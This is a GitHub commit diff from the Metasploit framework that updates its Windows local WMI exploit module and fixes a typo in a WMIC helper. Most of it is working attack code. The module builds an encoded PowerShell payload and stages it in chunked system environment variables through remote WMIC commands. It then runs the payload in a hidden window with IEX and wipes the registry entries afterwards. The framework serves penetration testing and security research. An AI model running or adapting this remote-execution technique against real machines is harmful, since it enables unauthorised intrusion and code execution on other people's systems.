Skip to content

Commit a2a1a90

Browse files
author
Brent Cook
committed
Land rapid7#4316, Meatballs1 streamlines payload execution for exploits/windows/local/wmi
also fixes a typo bug in WMIC
2 parents 6a68888 + e471271 commit a2a1a90

File tree

2 files changed

+47
-37
lines changed
  • lib/msf/core/post/windows
  • modules/exploits/windows/local

2 files changed

+47
-37
lines changed

lib/msf/core/post/windows/wmic.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,7 @@ def wmic_query(query, server=datastore['RHOST'])
2727
result_text = ""
2828

2929
if datastore['SMBUser']
30-
if server.downcase == "localhost" || server.downcase.starts_with("127.")
30+
if server.downcase == "localhost" || server.downcase.starts_with?('127.')
3131
raise RuntimeError, "WMIC: User credentials cannot be used for local connections"
3232
end
3333
end

modules/exploits/windows/local/wmi.rb

Lines changed: 46 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -27,9 +27,8 @@ def initialize(info={})
2727
the session's current authentication token instead of having to know
2828
a password or hash.
2929
30-
We do not get feedback from the WMIC command so there are no
31-
indicators of success or failure. The remote host must be configured
32-
to allow remote Windows Management Instrumentation.
30+
The remote host must be configured to allow remote Windows Management
31+
Instrumentation.
3332
},
3433
'License' => MSF_LICENSE,
3534
'Author' => [
@@ -76,42 +75,51 @@ def exploit
7675
end
7776

7877
def run_host(server)
79-
# Get the PSH Payload and split it into bitesize chunks
80-
# 1024 appears to be the max value allowed in env vars
78+
if load_extapi
79+
psh_options = { :remove_comspec => true,
80+
:encode_final_payload => true }
81+
else
82+
psh_options = { :remove_comspec => true,
83+
:encode_inner_payload => true,
84+
:use_single_quotes => true }
85+
end
86+
8187
psh = cmd_psh_payload(payload.encoded,
8288
payload_instance.arch.first,
83-
{
84-
:remove_comspec => true,
85-
:encode_inner_payload => true,
86-
:use_single_quotes => true
87-
})
88-
chunks = split_code(psh, 1000)
89+
psh_options)
8990

9091
begin
91-
print_status("[#{server}] Storing payload in environment variables")
92-
env_name = rand_text_alpha(rand(3)+3)
93-
env_vars = []
94-
0.upto(chunks.length-1) do |i|
95-
env_vars << "#{env_name}#{i}"
96-
c = "cmd /c SETX #{env_vars[i]} \"#{chunks[i]}\" /m"
97-
result = wmic_command(c, server)
98-
99-
unless result
100-
print_error("[#{server}] WMIC command error - skipping host")
101-
return false
92+
if load_extapi
93+
exec_cmd = psh
94+
else
95+
# Get the PSH Payload and split it into bitesize chunks
96+
# 1024 appears to be the max value allowed in env vars
97+
print_status("[#{server}] Storing payload in environment variables")
98+
chunks = split_code(psh, 1000)
99+
env_name = rand_text_alpha(rand(3)+3)
100+
env_vars = []
101+
0.upto(chunks.length-1) do |i|
102+
env_vars << "#{env_name}#{i}"
103+
c = "cmd /c SETX #{env_vars[i]} \"#{chunks[i]}\" /m"
104+
result = wmic_command(c, server)
105+
106+
unless result
107+
print_error("[#{server}] WMIC command error - skipping host")
108+
return false
109+
end
102110
end
103-
end
104111

105-
x = rand_text_alpha(rand(3)+3)
106-
exec_cmd = generate_psh_command_line({
107-
:noprofile => true,
108-
:windowstyle => 'hidden',
109-
:command => "$#{x}=''"
110-
})
111-
env_vars.each do |env|
112-
exec_cmd << "+$env:#{env}"
112+
x = rand_text_alpha(rand(3)+3)
113+
exec_cmd = generate_psh_command_line({
114+
:noprofile => true,
115+
:windowstyle => 'hidden',
116+
:command => "$#{x}=''"
117+
})
118+
env_vars.each do |env|
119+
exec_cmd << "+$env:#{env}"
120+
end
121+
exec_cmd << ";IEX $#{x};"
113122
end
114-
exec_cmd << ";IEX $#{x};"
115123

116124
print_status("[#{server}] Executing payload")
117125
result = wmic_command(exec_cmd, server)
@@ -126,10 +134,12 @@ def run_host(server)
126134
print_error("[#{server}] failed...)")
127135
end
128136

129-
print_status("[#{server}] Cleaning up environment variables")
130-
env_vars.each do |env|
131-
cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f"
132-
wmic_command(cleanup_cmd, server)
137+
unless load_extapi
138+
print_status("[#{server}] Cleaning up environment variables")
139+
env_vars.each do |env|
140+
cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f"
141+
wmic_command(cleanup_cmd, server)
142+
end
133143
end
134144
rescue Rex::Post::Meterpreter::RequestError => e
135145
print_error("[#{server}] Error moving on... #{e}")

0 commit comments

Comments
 (0)